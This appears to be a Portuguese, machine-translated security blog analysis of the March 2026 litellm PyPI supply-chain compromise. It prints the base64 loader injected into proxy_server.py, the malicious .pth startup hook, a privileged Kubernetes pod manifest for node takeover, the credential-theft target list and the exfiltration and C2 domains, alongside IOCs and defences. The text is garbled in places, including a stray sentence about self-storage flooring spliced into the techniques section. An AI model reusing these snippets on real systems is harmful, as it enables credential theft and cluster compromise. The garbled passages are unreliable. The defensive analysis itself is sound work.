Porque Isto é Importante
Em 24 de março de 2026, o popular pacote Python litellm, um gateway proxy LLM universal usado por milhares de enterpriseO pacote `kubectl`, usado para rotear o tráfego entre aplicações e provedores de IA como OpenAI, Anthropic, Google e AWS Bedrock, foi silenciosamente comprometido no PyPI. Duas versões infectadas (1.82.7 e 1.82.8) foram publicadas com apenas 13 minutos de diferença, contendo um payload de múltiplas etapas que roubava credenciais, exfiltrava segredos da nuvem, se propagava lateralmente por clusters Kubernetes e instalava um backdoor persistente com capacidade de execução remota de código.
Com aproximadamente 3.6 milhões de downloads diários Com ampla capacidade de implantação em infraestrutura de IA nativa da nuvem, o litellm está na encruzilhada de tudo o que os invasores modernos cobiçam: chaves de API para todos os principais provedores de IA, credenciais IAM na nuvem, segredos do Kubernetes e chaves SSH.
Mas o acordo de Litellm não foi um evento isolado. Foi o culminar de um campanha de cinco dias e cinco ecossistemas por um agente de ameaça conhecido como TeamPCP, uma campanha que primeiro contaminou scanners de segurança (Aqua Trivy, Checkmarx KICS), e depois usou os dados roubados. CI/CD As credenciais foram propagadas em cascata para o npm, OpenVSX e, finalmente, para o PyPI. Os atacantes transformaram em armas as próprias ferramentas das quais as organizações dependem para proteger suas cadeias de suprimentos.
Este ataque representa uma mudança radical na sofisticação das ameaças à cadeia de suprimentos. O design de múltiplos saltos e abrangência entre ecossistemas, comprometendo ferramentas de segurança para atingir alvos de alto valor. Infraestrutura de IA, Reflete um nível de planejamento e maturidade operacional consistente com a crescente banalização de ferramentas de ataque. Os payloads foram iterados em tempo real (três variantes de payload aparecem no código-fonte, incluindo versões anteriores comentadas), a infraestrutura de C2 foi registrada um dia antes do ataque e os domínios de exfiltração foram cuidadosamente escolhidos para imitar a infraestrutura legítima do fornecedor. O coletor de credenciais sistemático e abrangente, cobrindo mais de 15 categorias, incluindo alvos específicos como chaves de assinatura Cardano e configurações WireGuard, sugere um grau de abrangência que aponta para o desenvolvimento de malware assistido por IA como um multiplicador de força.
Timeline
| Data (UTC) | Evento |
|---|---|
| Março de 19 | O TeamPCP compromete as tags do GitHub Actions do Aqua Trivy, substituindo-as por código malicioso que se exfiltra. CI/CD segredos de repositórios downstream |
| Março de 21 | O Compromise se estende ao Checkmarx KICS e ao AST GitHub Actions usando técnicas semelhantes. |
| 22 de março, 06h35 | BerriAI publica litellm 1.82.6 (última versão limpa) via normal CI/CD pipeline que usa o Trivy para verificação de segurança |
| Março de 23 | O TeamPCP registra o domínio models.litellm.cloud (domínio de exfiltração). Compromete mais de 66 pacotes npm e extensões OpenVSX. |
| 24 de março, 10h39 | litellm 1.82.7 publicado no PyPI -- payload injetado em proxy_server.py No escopo do módulo. Executa na importação. |
| 24 de março, 10h52 | litellm 1.82.8 publicado 13 minutos depois -- adiciona litellm_init.pth, um gancho de configuração de caminho do Python que é executado a cada inicialização do interpretador Python, não apenas nas importações do litellm. Mostra iteração rápida de payload. |
| 24 de março, por volta das 16h00 | Após relatos da comunidade, o PyPI removeu ambas as versões. As versões foram completamente excluídas (não removidas do índice), embora os arquivos tar do CDN permanecessem acessíveis. |
Tempo de exposição: aproximadamente 5.5 horas. Durante esse período, qualquer
pip install litellm,
pip install --upgrade litellm, ou CI/CD pipeline Baixar a versão mais recente teria executado o payload.
Como o malware entrou: a invasão em cascata
O pacote litellm não foi violado diretamente. O atacante o acessou por meio de um ataque de cadeia de suprimentos de dois saltos:
Aqua Trivy GitHub Action (compromised March 19)
--> LiteLLM CI/CD pipeline runs Trivy without pinned version
--> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
--> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPILiteLLM's CI/CD pipeline O Trivy foi usado como um scanner de segurança — a própria ferramenta projetada para detectar vulnerabilidades era o vetor de ataque. Porque o pipeline Trivy referenciado por tag mutável em vez de uma tag fixada commit SHA, a ação comprometida foi executada automaticamente. A ação maliciosa do Trivy exfiltrou segredos do ambiente, incluindo o PYPI_PUBLISH token, que concede à TeamPCP acesso direto de publicação ao projeto litellm no PyPI.
Essa estratégia de "comprometer as defesas" é uma característica marcante da campanha TeamPCP. Ao atacar primeiro as ferramentas de segurança (Trivy, Checkmarx KICS), os atacantes desativaram simultaneamente a detecção e obtiveram acesso privilegiado às cadeias de suprimentos subsequentes.
Análise técnica: a carga útil
Pontos de injeção
versão 1.82.7 — Execução em nível de módulo em litellm/proxy/proxy_server.py (linha 128):
import subprocess, base64, sys, tempfile, os
b64_payload = "<~12KB base64 blob>"
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])Este código está localizado no escopo do módulo, entre um dicionário literal e o original. showwarning() função. Ela é executada imediatamente quando litellm.proxy.proxy_server é importado — o que acontece em qualquer uso da funcionalidade de proxy do litellm.
versão 1.82.8 - Adicionado litellm_init.pth (Arquivo de configuração do caminho do Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)
Python .pth arquivos em site-packages/ são processadas a cada inicialização do interpretador, mas apenas as linhas que começam com import são executados como código. O atacante explora isso encadeando toda a carga útil em uma única linha de código. import declaração: import os, subprocess, sys; subprocess.Popen(...)Isso é muito mais agressivo do que a injeção de proxy_server.py — é acionado mesmo que o litellm nunca seja importado, a cada inicialização do processo Python. pyproject.toml foi modificado para incluir este arquivo na distribuição:
include = [
{ path = "litellm_init.pth", format = ["sdist", "wheel"] }
]A versão 1.82.8, portanto, possui dois caminhos de execução independentesA injeção do arquivo proxy_server.py (disparada na importação do proxy do Litellm) e do arquivo .pth (disparado em qualquer inicialização do Python) são exemplos de vulnerabilidades. A redundância em si é notável, pois impede a detecção ou remoção de qualquer um dos caminhos isoladamente. A escalada da execução, da importação para a inicialização, apenas 13 minutos após a versão 1.82.7, sugere que o atacante estava monitorando o sucesso da implantação e iterando rapidamente.
Etapa 1: Coleta Abrangente de Credenciais
O script interno decodificado é um meticuloso vácuo de credenciais. Ele usa os.walk(), glob.glob(), subprocess.check_output()e leituras diretas de arquivos para percorrer todo o sistema:
| Categoria | Alvos |
|---|---|
| Reconhecimento do sistema | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; chaves de host de /etc/ssh/ |
| Nuvem (AWS) | ~/.aws/credentials, ~/.aws/config; Credenciais de função IMDS via 169.254.169.254Gerente de Segredos ListSecrets; SSM DescribeParameters |
| Nuvem (GCP) | ~/.config/gcloud/ (recursivo); $GOOGLE_APPLICATION_CREDENTIALS |
| Nuvem (Azure) | ~/.azure/ (recursivo); variáveis de ambiente |
| Kubernetes | Tokens de conta de serviço; ca.crt; espaço de nomes; kubectl get secrets --all-namespaces; todos os segredos via API do Kubernetes |
| Arquivos de ambiente | .env, .env.local, .env.production, .env.development, .env.staging — pesquisada recursivamente (profundidade 6) em /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Estivador | ~/.docker/config.json, /kaniko/.docker/config.json |
| Tokens de pacote | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Bases de dados | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, Configurações do MongoDB |
| TLS / SSL | Chaves privadas de /etc/ssl/private/Certificados Let's Encrypt, todos. .pem/.key/.p12/.pfx arquivos |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Carteiras de criptografia | Bitcoin, keystore Ethereum, pares de chaves Solana (validador, voto, participação, faucet), chaves de assinatura Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| História da Shell | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Autenticação do sistema | /etc/passwd, /etc/shadow, registros de autenticação (sessões SSH aceitas) |
| Chaves de webhook/API | Procure por Slack na webhooks, Discord webhooksChaves/segredos de API em arquivos de configuração |
| VPN | Configurações do WireGuard de /etc/wireguard/ |
O alcance deste coletor é enciclopédico. Ele visa não apenas credenciais de nuvem, mas também carteiras de criptomoedas, senhas de bancos de dados, configurações de VPN e CI/CD segredos — sugerindo que o atacante pretende monetizar os sistemas comprometidos por meio de múltiplas vias.
Estágio 2: Exfiltração Criptografada
Os dados roubados são criptografados e exfiltrados usando um esquema de criptografia híbrida:
- AES-256-CBC criptografia de todos os dados coletados com uma chave de sessão aleatória de 32 bytes (via
openssl enc) - RSA-4096 criptografia da chave de sessão usando a chave pública incorporada do atacante (preenchimento OAEP, via
openssl pkeyutl) - Ambos os arquivos de texto cifrado agrupados como
tpcp.tar.gz(OtpcpO prefixo — “TeamPCP” — aparece consistentemente em toda a campanha) - POST HTTPS para
https://models.litellm.cloud/com asContent-Type: application/octet-stream
O domínio models.litellm.cloud Foi registrado em 23 de março — um dia antes do ataque — e foi projetado para se misturar com a infraestrutura legítima do Litellm (o projeto real usa litellm.aiMesmo um defensor com conhecimento de rede, ao analisar o tráfego de saída, pode não sinalizar o tráfego destinado ao que parece ser o próprio endpoint modelo do litellm.
Etapa 3: Backdoor persistente (sysmon.py)
A carga útil instala uma porta dos fundos de sondagem disfarçada de telemetria do sistema:
- Caminho:
~/.config/sysmon/sysmon.py - Serviço:
sysmon.service(unidade de usuário systemd, descrita como “Serviço de Telemetria do Sistema”) - ComportamentoApós um período inicial de sono de 300 segundos, as pesquisas
https://checkmarx.zone/rawa cada 50 minutos aproximadamente - Execução: Faz o download da URL retornada pelo C2 para
/tmp/pglog, torna-o executável (chmod 755), executa-o em uma sessão separada - Rastreamento estadual:
/tmp/.pg_stateimpede o download repetido da mesma carga útil. - Persistência:
Restart=always,RestartSec=10— sobrevive a falhas e reinicializações
O domínio checkmarx.zone é um erro tipográfico de Checkmarx (a empresa de segurança em checkmarx.com), projetado para que os analistas do SOC, ao revisarem os registros de rede, vejam tráfego para o que parece ser um fornecedor de segurança legítimo. Esta é uma técnica de evasão deliberada, consistente com a estratégia mais ampla da TeamPCP de se esconder atrás da marca de fornecedores de segurança.
Etapa 3b: Movimentação Lateral do Kubernetes
Se o sistema comprometido possuir credenciais de conta de serviço do Kubernetes, o malware enumera todos os nós do cluster e se implanta. cápsulas privilegiadas Para cada um deles:
pod_manifest = {
'apiVersion': 'v1', 'kind': 'Pod',
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name,
'hostPID': True, 'hostNetwork': True,
'tolerations': [{'operator': 'Exists'}],
'containers': [{
'name': 'setup',
'image': 'alpine:latest',
'command': ['sh', '-c', drop_cmd],
'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
'restartPolicy': 'Never'
}
}Cada cápsula:
- Executa como privilegiado com as
hostPID,hostNetworke acesso total ao sistema de arquivos do host - Uso
chroot /hostpara instalar o mesmosysmon.pybackdoor no sistema de arquivos raiz do host - Registra-o como um serviço systemd, garantindo que a persistência sobreviva à exclusão do pod.
- Nomeado
node-setup-*nokube-systemnamespace para aparecer como infraestrutura de cluster legítima
Isso significa um único comprometido CI/CD Um executor com acesso ao Kubernetes poderia resultar na criação de backdoors em todos os nós do cluster. — um cenário catastrófico de movimentação lateral para organizações que executam o litellm como proxy no Kubernetes.
Evolução da Carga Útil (Variantes Comentadas)
O código-fonte nas linhas 131-132 contém duas variantes anteriores do payload comentadas, revelando o processo de desenvolvimento do atacante:
- Todas as três variantes compartilhar a mesma infraestrutura de exfiltração (
models.litellm.cloud), chave pública RSA-4096, encapsulamento de criptografia híbrida AES-256-CBC + RSA etpcp.tar.gznomenclatura de pacotes - Variantes anteriores adicionou um Camada de criptografia RC4 Dentro do script de coleta de dados, os dados coletados são criptografados antes da camada externa AES+RSA. A carga útil ativa (linha 130) foi simplificada com a remoção dessa camada RC4 interna.
- As variantes anteriores usam
exec()com asStringIOcaptura para executar o coletor em processo, enquanto a carga útil ativa usasubprocess.run()com redirecionamento de stdout — uma separação mais limpa que evita poluir o processo hospedeiro - Todas as três variantes têm como alvo as mesmas categorias de credenciais e caminhos de coleta.
- A chave RC4 nas variantes anteriores era um insulto provocativo, condizente com o comportamento do ator em busca de atenção no Telegram.
Isso revela um desenvolvimento ativo durante a operação. O atacante simplificou a pilha de criptografia e melhorou o isolamento da execução, mantendo os alvos de coleta e a infraestrutura de exfiltração estáveis.
Indicadores de Compromisso (IOCs)
Network
| Indicador | Formato | Propósito |
|---|---|---|
models.litellm.cloud |
Domínio | Endpoint de exfiltração (HTTPS POST) |
checkmarx.zone |
Domínio | Ponto de extremidade de sondagem C2 (HTTPS GET) /raw) |
Nota: Links externos para reportagens checkmarx.zone/static/checkmarx-util-1.0.4.tgz à fase KICS anterior da campanha TeamPCP. Este URL não foi encontrado nos payloads do litellm analisados aqui.
Hashes de Pacotes
| Envie o | SHA256 |
|---|---|
litellm-1.82.7.tar.gz |
8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz |
d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Sistema de Arquivo
| Indicador | Formato | Propósito |
|---|---|---|
~/.config/sysmon/sysmon.py |
Envie o | Script de backdoor persistente |
~/.config/systemd/user/sysmon.service |
Envie o | unidade de persistência do Systemd |
/tmp/pglog |
Envie o | Binário de segundo estágio baixado |
/tmp/.pg_state |
Envie o | Rastreamento do estado C2 |
litellm_init.pth in site-packages/ |
Envie o | Gancho de inicialização do Python (somente v1.82.8) |
tpcp.tar.gz |
Envie o | Pacote de exfiltração criptografado |
Kubernetes
| Indicador | Formato | Propósito |
|---|---|---|
node-setup-* cápsulas em kube-system |
Vagem | Cápsulas de movimento lateral privilegiadas |
sysmon.service em nós de cluster |
Serviço | Persistência em nível de host por meio de escape de pod |
Criptografia
| Indicador | Detalhes |
|---|---|
| Chave pública RSA-4096 do atacante |
Impressão digital SHA256:
bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Incorporada nas três variantes de payload; mesma chave relatada em outras operações do TeamPCP.
|
tpcp prefixo em artefatos |
Convenção de nomenclatura de pacotes (tpcp.tar.gz) consistente em toda a campanha
|
Atribuição: TeamPCP
O agente malicioso por trás desta campanha está sendo rastreado como TeamPCP, também conhecido como PCPcat, Persy_PCP, ShellForce e DeadCatx3.
Características conhecidas:
- Mantém canais do Telegram em
@Persy_PCPe@teampcponde eles zombavam das empresas de segurança - Opera em múltiplos ecossistemas (GitHub Actions, PyPI, npm, OpenVSX)
- Utiliza domínios typosquat específicos do fornecedor para cada fase da campanha (por exemplo,
checkmarx.zonepara Checkmarx,models.litellm.cloudpara litellm) - Marcadores de infraestrutura consistentes: mesmo par de chaves RSA,
tpcp.tar.gzconvenção de nomenclatura,tpcp-docs-*Repositórios do GitHub usados como área de preparação para entrega de arquivos não utilizados. - Visa ferramentas de segurança como pontos de entrada para cadeias de suprimentos subsequentes.
Confiança na atribuiçãoAlta. A chave pública RSA compartilhada, tpcp A nomenclatura dos artefatos, a sobreposição da infraestrutura de comando e controle (C2) e o ritmo operacional ao longo da campanha de cinco dias vinculam fortemente as invasões do Trivy, KICS, npm, OpenVSX e litellm ao mesmo agente.
MotivaçãoProvavelmente motivações financeiras (roubo de carteiras de criptomoedas, monetização de credenciais na nuvem) combinadas com notoriedade (provocações no Telegram). A abrangência da coleta de credenciais — desde AWS IAM a pares de chaves de validação Solana e configurações do WireGuard — sugere um agente com motivação financeira buscando maximizar o retorno sobre o investimento em cada comprometimento.
Possível assistência de IAO coletor de credenciais é sistematicamente abrangente — mais de 15 categorias, incluindo alvos específicos como chaves de assinatura Cardano, configurações WireGuard e credenciais Kaniko Docker — de uma forma consistente com a enumeração assistida por IA. A velocidade de iteração da carga útil (três variantes com diferentes esquemas de criptografia), a coordenação entre ecossistemas (5 ecossistemas em 5 dias) e a segurança operacional (domínios que se fazem passar por fornecedores, criptografia híbrida, persistência systemd disfarçada de telemetria) sugerem um nível de produtividade que pode refletir o desenvolvimento assistido por IA como um multiplicador de forças. Esta avaliação é especulativa; operadores qualificados poderiam alcançar um escopo semelhante sem ferramentas de IA.
Novas TTPs e Técnicas
1. Envenenamento da cadeia de suprimentos de ferramentas de segurança (variante T1195.002)
Comprometer scanners de segurança (Trivy, KICS) como primeiro passo para alcançar alvos subsequentes é uma nova escalada. O atacante não comprometeu apenas uma biblioteca — ele comprometeu as ferramentas que as organizações usam para descobrir bibliotecas comprometidas. Isso cria um ponto cego: o scanner que deveria detectar o código malicioso é ele próprio o mecanismo de entrega.
2 Python .pth Persistência de Arquivos (T1546)
O processo de litellm_init.pth A técnica na versão 1.82.8 é particularmente insidiosa. Python .pth arquivos em site-packages/ são processadas a cada inicialização do interpretador; qualquer linha que comece com import é executado como código. Ao encadear a carga útil em um único import Ao afirmar isso, o atacante consegue executar o código em todos os processos Python — não apenas quando o pacote `litellm` é importado. Isso significa que o payload é acionado mesmo se o `litellm` estiver instalado, mas nunca for usado, e sobrevive a correções que substituem a versão comprometida. .py arquivos sem verificar .pth arquivos.
3. Movimentação lateral em todo o cluster Kubernetes por meio de implantação de pods privilegiados (T1610, T1611)
A criação automatizada de pods privilegiados em cada nó do cluster — com hostPID, hostNetwork, montagem do sistema de arquivos do host e chroot para instalar persistência — encadeia a implantação do contêiner (T1610) com a fuga para o host (T1611) para transformar uma única carga de trabalho comprometida em um comprometimento total do cluster.
4. Infraestrutura C2 que se faz passar por fornecedor
Utilizar painéis de piso ResinDek em sua unidade de self-storage em vez de concreto oferece diversos benefícios: models.litellm.cloud (imita litellm) e checkmarx.zone (Imitando o Checkmarx) como endpoints de C2/exfil, projetado para burlar o monitoramento de rede. Analistas de SOC que revisam o tráfego de saída veriam conexões HTTPS para o que parecem ser domínios legítimos de fornecedores.
5. Iteração rápida de carga útil em voo
A publicação da versão 1.82.7 com execução em tempo de importação, seguida da versão 1.82.8 com execução em tempo de inicialização 13 minutos depois, demonstra o monitoramento e a adaptação do atacante em tempo real. As variantes de payload comentadas (com diferentes esquemas de criptografia) preservadas no código-fonte confirmam o desenvolvimento ativo durante a operação.
O que pode ser feito
Este ataque explora a confiança em todas as camadas: confiança em ferramentas de segurança, confiança em registros de pacotes, confiança em domínios com aparência familiar, confiança em CI/CD Automação. Para se defender dela, é preciso fortalecer cada uma dessas fronteiras de confiança:
Para consumidores de embalagens
- Fixe as dependências por hash, não apenas por versão.
pip install litellm==1.82.6 --hash=sha256:...teria impedido a instalação das versões comprometidas, mesmo que elas aparecessem brevemente como a versão mais recente. - Use arquivos de bloqueio.
pip-compile,poetry.lockeuv.lockCapturar versões e hashes exatos. CI/CD A instalação deve ser feita a partir de arquivos de bloqueio, e não de especificadores de versão flutuantes. - Monitorar para
.ptharquivos. Auditar regularmentesite-packages/para inesperado.ptharquivos — eles são executados a cada inicialização do Python e são um mecanismo de persistência subestimado. - Implementar controles de rede de saída. A exfiltração para
models.litellm.cloude a pesquisa C2 paracheckmarx.zonepoderia ter sido detectado pela filtragem de saída baseada em listas de permissão em ambientes de produção.
Para Mantenedores de Pacotes
- pino CI/CD ações por commit SHA, não tag. LiteLLM's pipeline usou o Trivy sem uma versão fixada. Se tivesse feito referência a
aquasecurity/trivy-action@<commit-sha>em vez de@latest, a ação comprometida não teria sido executada. - Utilize tokens de publicação de curta duração e com escopo definido. O PyPI oferece suporte a Publicadores Confiáveis (baseados em OIDC) e tokens de API com escopo. Os dados exfiltrados
PYPI_PUBLISHO token não deveria ter tido acesso irrestrito e de longa duração para publicação. - Habilite a autenticação de dois fatores no PyPI. Exija autenticação de dois fatores (2FA) para todos os responsáveis pela manutenção e utilize chaves de segurança de hardware sempre que possível.
- Assinar pacotes. As declarações Sigstore/PEP 740 permitem que os consumidores verifiquem se um pacote foi criado de acordo com o esperado. CI/CD pipeline, não por um atacante com um token roubado.
Para operadores de plataforma (PyPI, npm, GitHub)
- Detectar padrões de publicação anômalos. Duas novas versões publicadas com 13 minutos de intervalo, a partir de um endereço IP ou token diferente do habitual, devem acionar a retenção para revisão ou a verificação automatizada antes que o pacote se torne instalável.
- Acelerar a adoção de Editores Confiáveis. A publicação baseada em OIDC vincula pacotes a repositórios e fluxos de trabalho específicos, tornando tokens roubados inúteis fora do contexto original. CI/CD contexto.
- Implementar verificação de malware no momento da publicação. A carga útil decodificada em base64 no arquivo proxy_server.py seria detectável por análise estática no momento da publicação.
Para o Ecossistema
- Considere as ferramentas de segurança como infraestrutura crítica. Trivy e Checkmarx KICS são usados por milhões de pessoas. pipelineAs ações do GitHub que eles executam devem ser assinadas, fixadas e monitoradas com o mesmo rigor que os pacotes que eles analisam.
- Invista em detecção em tempo de execução. A análise estática por si só não consegue detectar todas as técnicas de ofuscação. Monitoramento em tempo de execução da instalação de pacotes. hooksConexões de rede inesperadas e padrões suspeitos de acesso a arquivos fornecem defesa em profundidade.
- Compartilhe informações sobre ameaças mais rapidamente. O período de exposição de 5.5 horas para o Litellm poderia ter sido menor com uma coordenação mais rápida entre os fornecedores. Serviços de varredura automatizados como Xygeni MEW, Socket e Snyk detectaram a anomalia — o gargalo está na confirmação humana e no tempo de resposta do registro.
Conclusão
A campanha TeamPCP representa um momento decisivo para software supply chain securityAo comprometer primeiro os scanners de segurança e usá-los como trampolins para infraestrutura de IA de alto valor, os atacantes demonstraram que a cadeia de suprimentos é tão forte quanto sua dependência transitiva mais fraca, e essa dependência pode ser a ferramenta de segurança na qual você confia para se manter protegido.
O acordo da LitelLM destaca especificamente o crescente risco para a infraestrutura de IA. À medida que os gateways proxy da LLM se tornam o standard padrão para enterprise Na implementação de IA, o acesso a chaves de API, credenciais de nuvem e dados sensíveis é concentrado em um único componente. Comprometer esse componente significa expor toda a infraestrutura de IA a falhas.
Organizações que instalaram o litellm 1.82.7 ou 1.82.8 durante o período de 5.5 horas devem tratar isso como uma violação completa de credenciais: rotacione todos os segredos nos sistemas afetados e audite os clusters Kubernetes em busca de vulnerabilidades. node-setup-* cápsulas em kube-system, remova qualquer sysmon.service unidades systemd e verifique se há litellm_init.pth em Python site-packages/ diretórios. Usuários da imagem oficial do Docker (ghcr.io/berriai/litellm) não foram afetados, pois a imagem manteve suas dependências e não foi reconstruída durante o período de exposição.
Sobre o autor
Cofundador e CTO
Luis rodriguez é cofundador e CTO da Xygeni Security. Com mais de 20 anos de experiência em segurança de aplicações, ele se concentra na proteção AppSec e em recursos avançados de análise de código que ajudam as equipes a reduzir o risco real de entrega.
